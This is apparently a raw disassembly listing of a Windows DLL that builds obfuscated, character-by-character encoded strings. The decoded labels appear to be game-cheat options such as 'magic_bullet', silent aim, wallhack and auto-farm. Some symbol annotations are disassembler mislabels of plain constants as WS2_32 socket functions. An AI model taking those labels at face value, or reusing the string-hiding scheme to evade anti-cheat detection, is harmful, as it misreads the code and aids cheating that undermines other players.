mov byte [rbp + 0x104e], bl
mov byte [rbp + 0x104f], al
lea rcx, [rbp + 0x37d8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x400
xor r8d, r8d
mov esi, reloc.WS2_32.dll_recv
mov edx, esi
lea rcx, [rbp + 0x37d8]
call fcn.180014330
xor edi, edi
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x1040]
call fcn.180014b30
movzx ecx, byte [rax]
call fcn.180056950
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x37d8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e9c90
lea rcx, [rbp + 0x37d8]
call fcn.1800143e0
mov r8, qword [rbp - 0x70]
mov rdx, rax
lea rcx, [0x1801f67bc]
call fcn.1800b3390
nop
lea rcx, [rbp + 0x37d8]
call fcn.180011f20
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.180076ad0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xde8], xmm0
mov byte [rbp + 0xdf8], al
mov cl, 0x55
call fcn.180056b30
mov byte [rsp + 0x5c], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056b30
mov byte [rsp + 0x50], al
mov cl, 0x69
call fcn.180056b30
mov byte [rsp + 0x51], al
mov cl, WSAGetLastError
call fcn.180056b30
mov byte [rsp + 0x52], al
mov cl, 0x67
call fcn.180056b30
mov byte [rsp + 0x53], al
mov cl, 0x20
call fcn.180056b30
mov byte [rsp + 0x54], al
mov cl, 0x54
call fcn.180056b30
mov byte [rsp + 0x55], al
mov cl, WSAStartup
call fcn.180056b30
mov byte [rsp + 0x56], al
mov cl, 0x69
call fcn.180056b30
mov byte [rsp + 0x57], al
mov cl, 0x67
call fcn.180056b30
movzx r13d, al
mov cl, 0x67
call fcn.180056b30
movzx r12d, al
mov cl, 0x65
call fcn.180056b30
movzx r15d, al
mov cl, WSAStartup
call fcn.180056b30
movzx r14d, al
mov cl, 0x42
call fcn.180056b30
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056b30
movzx edi, al
mov cl, WSAStartup
call fcn.180056b30
movzx ebx, al
xor ecx, ecx
call fcn.180056b30
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0xde8], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xde9], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xdea], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xdeb], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xdec], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xded], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xdee], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xdef], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xdf0], cl
mov byte [rbp + 0xdf1], r13b
mov byte [rbp + 0xdf2], r12b
mov byte [rbp + 0xdf3], r15b
mov byte [rbp + 0xdf4], r14b
mov byte [rbp + 0xdf5], sil
mov byte [rbp + 0xdf6], dil
mov byte [rbp + 0xdf7], bl
mov byte [rbp + 0xdf8], al
lea rcx, [rbp + 0x37f8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x800
xor r8d, r8d
mov esi, reloc.WS2_32.dll_recvfrom
mov edx, esi
lea rcx, [rbp + 0x37f8]
call fcn.180014330
xor edi, edi
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xde8]
call fcn.1800148e0
movzx ecx, byte [rax]
call fcn.180056b30
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x37f8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e9e90
lea rcx, [rbp + 0x37f8]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
nop
lea rcx, [rbp + 0x37f8]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm12
call fcn.180076bd0
movaps xmm2, xmm11
movaps xmm1, xmm7
lea rcx, [rbp + 0x4028]
call fcn.180011e10
mov qword [rbp - 0x70], rax
xor eax, eax
mov qword [rbp + 0x620], rax
mov dword [rbp + 0x628], eax
mov byte [rbp + 0x62c], al
mov cl, 0x6d
call fcn.180056a90
mov byte [rsp + 0x5c], al
mov cl, 0x61
call fcn.180056a90
mov byte [rsp + 0x50], al
mov cl, 0x67
call fcn.180056a90
mov byte [rsp + 0x51], al
mov cl, 0x69
call fcn.180056a90
mov byte [rsp + 0x52], al
mov cl, 0x63
call fcn.180056a90
mov byte [rsp + 0x53], al
mov cl, 0x5f
call fcn.180056a90
movzx r13d, al
mov cl, 0x62
call fcn.180056a90
movzx r12d, al
mov cl, 0x75
call fcn.180056a90
movzx r15d, al
mov cl, 0x6c
call fcn.180056a90
movzx r14d, al
mov cl, 0x6c
call fcn.180056a90
movzx esi, al
mov cl, 0x65
call fcn.180056a90
movzx edi, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056a90
movzx ebx, al
xor ecx, ecx
call fcn.180056a90
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x620], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x621], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x622], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x623], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x624], cl
mov byte [rbp + 0x625], r13b
mov byte [rbp + 0x626], r12b
mov byte [rbp + 0x627], r15b
mov byte [rbp + 0x628], r14b
mov byte [rbp + 0x629], sil
mov byte [rbp + 0x62a], dil
mov byte [rbp + 0x62b], bl
mov byte [rbp + 0x62c], al
lea rcx, [rbp + 0x3818]
call fcn.180011f00
mov dword [rsp + 0x70], 0x1000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_listen
mov edx, ebx
lea rcx, [rbp + 0x3818]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x620]
call fcn.180014aa0
movzx ecx, byte [rax]
call fcn.180056a90
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3818]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800ea050
lea rcx, [rbp + 0x3818]
call fcn.1800143e0
mov r8, qword [rbp - 0x70]
mov rdx, rax
lea rcx, [0x1805e4864]
call fcn.1800b3390
nop
lea rcx, [rbp + 0x3818]
call fcn.180011f20
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.180076ad0
xor eax, eax
mov qword [rbp + 0x630], rax
mov dword [rbp + 0x638], eax
mov byte [rbp + 0x63c], al
mov cl, 0x45
call fcn.180014910
mov byte [rsp + 0x5c], al
mov cl, WSAGetLastError
call fcn.180014910
mov byte [rsp + 0x50], al
mov cl, 0x61
call fcn.180014910
mov byte [rsp + 0x51], al
mov cl, 0x62
call fcn.180014910
mov byte [rsp + 0x52], al
mov cl, 0x6c
call fcn.180014910
mov byte [rsp + 0x53], al
mov cl, 0x65
call fcn.180014910
movzx r13d, al
mov cl, 0x20
call fcn.180014910
movzx r12d, al
mov cl, 0x4d
call fcn.180014910
movzx r15d, al
mov cl, 0x61
call fcn.180014910
movzx r14d, al
mov cl, 0x67
call fcn.180014910
movzx esi, al
mov cl, 0x69
call fcn.180014910
movzx edi, al
mov cl, 0x63
call fcn.180014910
movzx ebx, al
xor ecx, ecx
call fcn.180014910
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x630], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x631], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x632], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x633], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x634], cl
mov byte [rbp + 0x635], r13b
mov byte [rbp + 0x636], r12b
mov byte [rbp + 0x637], r15b
mov byte [rbp + 0x638], r14b
mov byte [rbp + 0x639], sil
mov byte [rbp + 0x63a], dil
mov byte [rbp + 0x63b], bl
mov byte [rbp + 0x63c], al
lea rcx, [rbp + 0x3838]
call fcn.180011f00
mov dword [rsp + 0x70], 0x40
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_listen
mov edx, ebx
lea rcx, [rbp + 0x3838]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x630]
call fcn.180014aa0
movzx ecx, byte [rax]
call fcn.180014910
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3838]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800ea200
lea rcx, [rbp + 0x3838]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
nop
lea rcx, [rbp + 0x3838]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm12
call fcn.180076bd0
movaps xmm2, xmm11
movaps xmm1, xmm7
lea rcx, [rbp + 0x4030]
call fcn.180011e10
mov qword [rbp - 0x70], rax
xor eax, eax
mov qword [rbp + 0x270], rax
mov word [rbp + 0x278], ax
mov byte [rbp + 0x27a], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056980
mov byte [rsp + 0x5c], al
mov cl, 0x69
call fcn.180056980
mov byte [rsp + 0x50], al
mov cl, 0x6c
call fcn.180056980
mov byte [rsp + 0x51], al
mov cl, 0x65
call fcn.180056980
movzx r13d, al
mov cl, WSAGetLastError
call fcn.180056980
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056980
movzx r15d, al
mov cl, 0x5f
call fcn.180056980
movzx r14d, al
mov cl, 0x61
call fcn.180056980
movzx esi, al
mov cl, 0x69
call fcn.180056980
movzx edi, al
mov cl, 0x6d
call fcn.180056980
movzx ebx, al
xor ecx, ecx
call fcn.180056980
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x270], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x271], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x272], cl
mov byte [rbp + 0x273], r13b
mov byte [rbp + 0x274], r12b
mov byte [rbp + 0x275], r15b
mov byte [rbp + 0x276], r14b
mov byte [rbp + 0x277], sil
mov byte [rbp + 0x278], dil
mov byte [rbp + 0x279], bl
mov byte [rbp + 0x27a], al
lea rcx, [rbp + 0x3858]
call fcn.180011f00
mov dword [rsp + 0x70], 0x80
xor r8d, r8d
mov ebx, listen
mov edx, ebx
lea rcx, [rbp + 0x3858]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x270]
call fcn.180014af0
movzx ecx, byte [rax]
call fcn.180056980
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3858]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800ea390
lea rcx, [rbp + 0x3858]
call fcn.1800143e0
mov r8, qword [rbp - 0x70]
mov rdx, rax
lea rcx, [0x1805e485c]
call fcn.1800b3390
nop
lea rcx, [rbp + 0x3858]
call fcn.180011f20
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.180076ad0
xor eax, eax
mov qword [rbp + 0x7d0], rax
mov dword [rbp + 0x7d8], eax
mov word [rbp + 0x7dc], ax
mov cl, 0x45
call fcn.180014700
mov byte [rsp + 0x5c], al
mov cl, WSAGetLastError
call fcn.180014700
mov byte [rsp + 0x50], al
mov cl, 0x61
call fcn.180014700
mov byte [rsp + 0x51], al
mov cl, 0x62
call fcn.180014700
mov byte [rsp + 0x52], al
mov cl, 0x6c
call fcn.180014700
mov byte [rsp + 0x53], al
mov cl, 0x65
call fcn.180014700
mov byte [rsp + 0x54], al
mov cl, 0x20
call fcn.180014700
movzx r13d, al
mov cl, 0x53
call fcn.180014700
movzx r12d, al
mov cl, 0x69
call fcn.180014700
movzx r15d, al
mov cl, 0x6c
call fcn.180014700
movzx r14d, al
mov cl, 0x65
call fcn.180014700
movzx esi, al
mov cl, WSAGetLastError
call fcn.180014700
movzx edi, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014700
movzx ebx, al
xor ecx, ecx
call fcn.180014700
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x7d0], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x7d1], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x7d2], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x7d3], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x7d4], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x7d5], cl
mov byte [rbp + 0x7d6], r13b
mov byte [rbp + 0x7d7], r12b
mov byte [rbp + 0x7d8], r15b
mov byte [rbp + 0x7d9], r14b
mov byte [rbp + 0x7da], sil
mov byte [rbp + 0x7db], dil
mov byte [rbp + 0x7dc], bl
mov byte [rbp + 0x7dd], al
lea rcx, [rbp + 0x3878]
call fcn.180011f00
mov dword [rsp + 0x70], 0x2000
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x3878]
call fcn.180014330
xor r13d, r13d
mov edi, r13d
mov esi, ebx
mov rdx, rdi
lea rcx, [rbp + 0x7d0]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.180014700
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3878]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800ea550
lea rcx, [rbp + 0x3878]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
nop
lea rcx, [rbp + 0x3878]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm12
call fcn.180076bd0
movaps xmm2, xmm11
movaps xmm1, xmm7
lea rcx, [rbp + 0x4038]
call fcn.180011e10
mov qword [rbp - 0x70], rax
xor eax, eax
mov dword [rbp + 0x38], eax
mov word [rbp + 0x3c], ax
mov byte [rbp + 0x3e], al
mov cl, WSAStartup
call fcn.180014990
movzx r12d, al
mov cl, 0x65
call fcn.180014990
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180014990
movzx r14d, al
mov cl, 0x61
call fcn.180014990
movzx esi, al
mov cl, 0x69
call fcn.180014990
movzx edi, al
mov cl, WSAStartup
call fcn.180014990
movzx ebx, al
xor ecx, ecx
call fcn.180014990
mov byte [rbp + 0x38], r12b
mov byte [rbp + 0x39], r15b
mov byte [rbp + 0x3a], r14b
mov byte [rbp + 0x3b], sil
mov byte [rbp + 0x3c], dil
mov byte [rbp + 0x3d], bl
mov byte [rbp + 0x3e], al
lea rcx, [rbp + 0x3898]
call fcn.180011f00
mov dword [rsp + 0x70], 0x100
xor r8d, r8d
mov ebx, 7
mov edx, ebx
lea rcx, [rbp + 0x3898]
call fcn.180014330
mov rdi, r13
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x38]
call fcn.180014a60
movzx ecx, byte [rax]
call fcn.180014990
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3898]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800ea670
lea rcx, [rbp + 0x3898]
call fcn.1800143e0
mov r8, qword [rbp - 0x70]
mov rdx, rax
lea rcx, [0x1805e4870]
call fcn.1800b3390
nop
lea rcx, [rbp + 0x3898]
call fcn.180011f20
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.180076ad0
xor eax, eax
mov dword [rbp + 0x40], eax
mov word [rbp + 0x44], ax
mov byte [rbp + 0x46], al
mov cl, 0x52
call fcn.180014900
movzx r12d, al
mov cl, 0x65
call fcn.180014900
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180014900
movzx r14d, al
mov cl, 0x61
call fcn.180014900
movzx esi, al
mov cl, 0x69
call fcn.180014900
movzx edi, al
mov cl, WSAStartup
call fcn.180014900
movzx ebx, al
xor ecx, ecx
call fcn.180014900
mov byte [rbp + 0x40], r12b
mov byte [rbp + 0x41], r15b
mov byte [rbp + 0x42], r14b
mov byte [rbp + 0x43], sil
mov byte [rbp + 0x44], dil
mov byte [rbp + 0x45], bl
mov byte [rbp + 0x46], al
lea rcx, [rbp + 0x38b8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x200
xor r8d, r8d
mov ebx, 7
mov edx, ebx
lea rcx, [rbp + 0x38b8]
call fcn.180014330
mov edi, ebx
mov rdx, r13
lea rcx, [rbp + 0x40]
call fcn.180014a60
movzx ecx, byte [rax]
call fcn.180014900
movzx ebx, al
mov rdx, r13
lea rcx, [rbp + 0x38b8]
call fcn.180014c80
mov byte [rax], bl
inc r13
sub rdi, 1
jne 0x1800ea772
lea rcx, [rbp + 0x38b8]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
nop
lea rcx, [rbp + 0x38b8]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm12
call fcn.180076bd0
movaps xmm2, xmm11
movaps xmm1, xmm7
lea rcx, [rbp + 0x4040]
call fcn.180011e10
mov qword [rbp - 0x70], rax
xor eax, eax
mov qword [rbp + 0x790], rax
mov word [rbp + 0x798], ax
mov cl, 0x61
call fcn.1800147b0
mov byte [rsp + 0x5c], al
mov cl, 0x75
call fcn.1800147b0
mov byte [rsp + 0x50], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800147b0
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800147b0
movzx r12d, al
mov cl, 0x5f
call fcn.1800147b0
movzx r15d, al
mov cl, 0x66
call fcn.1800147b0
movzx r14d, al
mov cl, 0x61
call fcn.1800147b0
movzx esi, al
mov cl, WSAStartup
call fcn.1800147b0
movzx edi, al
mov cl, 0x6d
call fcn.1800147b0
movzx ebx, al
xor ecx, ecx
call fcn.1800147b0
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x790], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x791], cl
mov byte [rbp + 0x792], r13b
mov byte [rbp + 0x793], r12b
mov byte [rbp + 0x794], r15b
mov byte [rbp + 0x795], r14b
mov byte [rbp + 0x796], sil
mov byte [rbp + 0x797], dil
mov byte [rbp + 0x798], bl
mov byte [rbp + 0x799], al
lea rcx, [rbp + 0x38d8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x400
xor r8d, r8d
mov ebx, 0xa
mov edx, ebx
lea rcx, [rbp + 0x38d8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop
mov rdx, rdi
lea rcx, [rbp + 0x790]
call fcn.180014ac0
movzx ecx, byte [rax]
call fcn.1800147b0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x38d8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800ea8e0
lea rcx, [rbp + 0x38d8]
call fcn.1800143e0
mov r8, qword [rbp - 0x70]
mov rdx, rax
lea rcx, [0x1805e4874]
call fcn.1800b3390
nop
lea rcx, [rbp + 0x38d8]
call fcn.180011f20
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.180076ad0
xor eax, eax
mov qword [rbp + 0x780], rax
mov word [rbp + 0x788], ax
mov cl, 0x41
call fcn.180056790
mov byte [rsp + 0x5c], al
mov cl, 0x75
call fcn.180056790
mov byte [rsp + 0x50], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056790
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056790
movzx r12d, al
mov cl, 0x20
call fcn.180056790
movzx r15d, al
mov cl, 0x46
call fcn.180056790
movzx r14d, al
mov cl, 0x61
call fcn.180056790
movzx esi, al
mov cl, WSAStartup
call fcn.180056790
movzx edi, al
mov cl, 0x6d
call fcn.180056790
movzx ebx, al
xor ecx, ecx
call fcn.180056790
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x780], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x781], cl
mov byte [rbp + 0x782], r13b
mov byte [rbp + 0x783], r12b
mov byte [rbp + 0x784], r15b
mov byte [rbp + 0x785], r14b
mov byte [rbp + 0x786], sil
mov byte [rbp + 0x787], dil
mov byte [rbp + 0x788], bl
mov byte [rbp + 0x789], al
lea rcx, [rbp + 0x38f8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x800
xor r8d, r8d
mov edi, 0xa
mov edx, edi
lea rcx, [rbp + 0x38f8]
call fcn.180014330
xor esi, esi
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp + 0x780]
call fcn.180014ac0
movzx ecx, byte [rax]
call fcn.180056790
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x38f8]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800eaa40
lea rcx, [rbp + 0x38f8]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
nop
lea rcx, [rbp + 0x38f8]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm12
call fcn.180076bd0
movaps xmm2, xmm11
movaps xmm1, xmm7
lea rcx, [rbp + 0x4048]
call fcn.180011e10
mov qword [rbp - 0x70], rax
xor eax, eax
mov qword [rbp + 0xaa0], rax
mov dword [rbp + 0xaa8], eax
mov cl, 0x65
call fcn.1800569b0
mov byte [rsp + 0x5c], al
mov cl, WSAGetLastError
call fcn.1800569b0
mov byte [rsp + 0x50], al
mov cl, 0x61
call fcn.1800569b0
mov byte [rsp + 0x51], al
mov cl, 0x62
call fcn.1800569b0
mov byte [rsp + 0x52], al
mov cl, 0x6c
call fcn.1800569b0
movzx r13d, al
mov cl, 0x65
call fcn.1800569b0
movzx r12d, al
mov cl, 0x5f
call fcn.1800569b0
movzx r15d, al
mov cl, 0x77
call fcn.1800569b0
movzx r14d, al
mov cl, 0x61
call fcn.1800569b0
movzx esi, al
mov cl, WSAStartup
call fcn.1800569b0
movzx edi, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800569b0
movzx ebx, al
xor ecx, ecx
call fcn.1800569b0
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0xaa0], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xaa1], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xaa2], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xaa3], cl
mov byte [rbp + 0xaa4], r13b
mov byte [rbp + 0xaa5], r12b
mov byte [rbp + 0xaa6], r15b
mov byte [rbp + 0xaa7], r14b
mov byte [rbp + 0xaa8], sil
mov byte [rbp + 0xaa9], dil
mov byte [rbp + 0xaaa], bl
mov byte [rbp + 0xaab], al
lea rcx, [rbp + 0x3918]
call fcn.180011f00
mov dword [rsp + 0x70], 0x1000
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x3918]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xaa0]
call fcn.180014b10
movzx ecx, byte [rax]
call fcn.1800569b0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3918]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800eabe0
lea rcx, [rbp + 0x3918]
call fcn.1800143e0
mov r8, qword [rbp - 0x70]
mov rdx, rax
lea rcx, [0x1805e4868]
call fcn.1800b3390
nop
lea rcx, [rbp + 0x3918]
call fcn.180011f20
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.180076ad0
xor eax, eax
mov qword [rbp + 0xa80], rax
mov dword [rbp + 0xa88], eax
mov cl, 0x45
call fcn.1800567c0
mov byte [rsp + 0x5c], al
mov cl, WSAGetLastError
call fcn.1800567c0
mov byte [rsp + 0x50], al
mov cl, 0x61
call fcn.1800567c0
mov byte [rsp + 0x51], al
mov cl, 0x62
call fcn.1800567c0
mov byte [rsp + 0x52], al
mov cl, 0x6c
call fcn.1800567c0
movzx r13d, al
mov cl, 0x65
call fcn.1800567c0
movzx r12d, al
mov cl, 0x20
call fcn.1800567c0
movzx r15d, al
mov cl, 0x57
call fcn.1800567c0
movzx r14d, al
mov cl, 0x61
call fcn.1800567c0
movzx esi, al
mov cl, WSAStartup
call fcn.1800567c0
movzx edi, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800567c0
movzx ebx, al
xor ecx, ecx
call fcn.1800567c0
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0xa80], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xa81], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xa82], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xa83], cl
mov byte [rbp + 0xa84], r13b
mov byte [rbp + 0xa85], r12b
mov byte [rbp + 0xa86], r15b
mov byte [rbp + 0xa87], r14b
mov byte [rbp + 0xa88], sil
mov byte [rbp + 0xa89], dil
mov byte [rbp + 0xa8a], bl
mov byte [rbp + 0xa8b], al
lea rcx, [rbp + 0x3938]
call fcn.180011f00
mov dword [rsp + 0x70], 0x2000
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x3938]
call fcn.180014330
xor r15d, r15d
mov edi, r15d
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0xa80]
call fcn.180014b10
movzx ecx, byte [rax]
call fcn.1800567c0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3938]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800ead70
lea rcx, [rbp + 0x3938]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
nop
lea rcx, [rbp + 0x3938]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm12
call fcn.180076bd0
movaps xmm2, xmm11
movaps xmm1, xmm7
lea rcx, [rbp + 0x4050]
call fcn.180011e10
mov r12, rax
xor eax, eax
mov dword [rbp + 8], eax
mov byte [rbp + 0xc], al
mov cl, 0x77
call fcn.1800ed790
movzx r14d, al
mov cl, 0x61
call fcn.1800ed790
movzx esi, al
mov cl, WSAStartup
call fcn.1800ed790
movzx edi, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800ed790
movzx ebx, al
xor ecx, ecx
call fcn.1800ed790
mov byte [rbp + 8], r14b
mov byte [rbp + 9], sil
mov byte [rbp + 0xa], dil
mov byte [rbp + 0xb], bl
mov byte [rbp + 0xc], al
lea rcx, [rbp + 0x3958]
call fcn.180011f00
mov dword [rsp + 0x70], 0x4000
xor r8d, r8d
mov r13d, 5
mov edx, r13d
lea rcx, [rbp + 0x3958]
call fcn.180014330
mov rdi, r15
mov esi, r13d
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 8]
call fcn.180014a00
movzx ecx, byte [rax]
call fcn.1800ed790
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3958]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800eae70
lea rcx, [rbp + 0x3958]
call fcn.1800143e0
mov r8, r12
mov rdx, rax
lea rcx, [0x1801f702c]
call fcn.1800b3390
nop
lea rcx, [rbp + 0x3958]
call fcn.180011f20
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.180076ad0
xor eax, eax
mov dword [rbp + 0x20], eax
mov byte [rbp + 0x24], al
mov cl, 0x57
call fcn.1800147f0
movzx r14d, al
mov cl, 0x61
call fcn.1800147f0
movzx esi, al
mov cl, WSAStartup
call fcn.1800147f0
movzx edi, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800147f0
movzx ebx, al
xor ecx, ecx
call fcn.1800147f0
mov byte [rbp + 0x20], r14b
mov byte [rbp + 0x21], sil
mov byte [rbp + 0x22], dil
mov byte [rbp + 0x23], bl
mov byte [rbp + 0x24], al
lea rcx, [rbp + 0x3978]
call fcn.180011f00
mov dword [rsp + 0x70], 0x8000
xor r8d, r8d
mov rdx, r13
lea rcx, [rbp + 0x3978]
call fcn.180014330
mov rdi, r13
nop dword [rax]
mov rdx, r15
lea rcx, [rbp + 0x20]
call fcn.180014a00
movzx ecx, byte [rax]
call fcn.1800147f0
movzx ebx, al
mov rdx, r15
lea rcx, [rbp + 0x3978]
call fcn.180014c80
mov byte [rax], bl
inc r15
sub rdi, 1
jne 0x1800eaf50
lea rcx, [rbp + 0x3978]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
nop
lea rcx, [rbp + 0x3978]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180075800
call fcn.180070430
movaps xmm0, xmm11
call fcn.180076c20
lea rcx, [rbp + 0x4058]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
addss xmm0, xmm10
call fcn.180076bd0
lea rcx, [rbp + 0x4060]
call fcn.180076f00
movss xmm6, dword [rax + 4]
mulss xmm6, xmm9
subss xmm6, xmm10
lea rcx, [rbp + 0x4068]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm11
movaps xmm2, xmm6
lea rcx, [rbp + 0x4070]
call fcn.180011e10
mov qword [rbp - 0x70], rax
xor eax, eax
mov qword [rbp + 0x280], rax
mov word [rbp + 0x288], ax
mov byte [rbp + 0x28a], al
mov cl, 0x23
call fcn.180056b20
mov byte [rsp + 0x5c], al
mov cl, 0x23
call fcn.180056b20
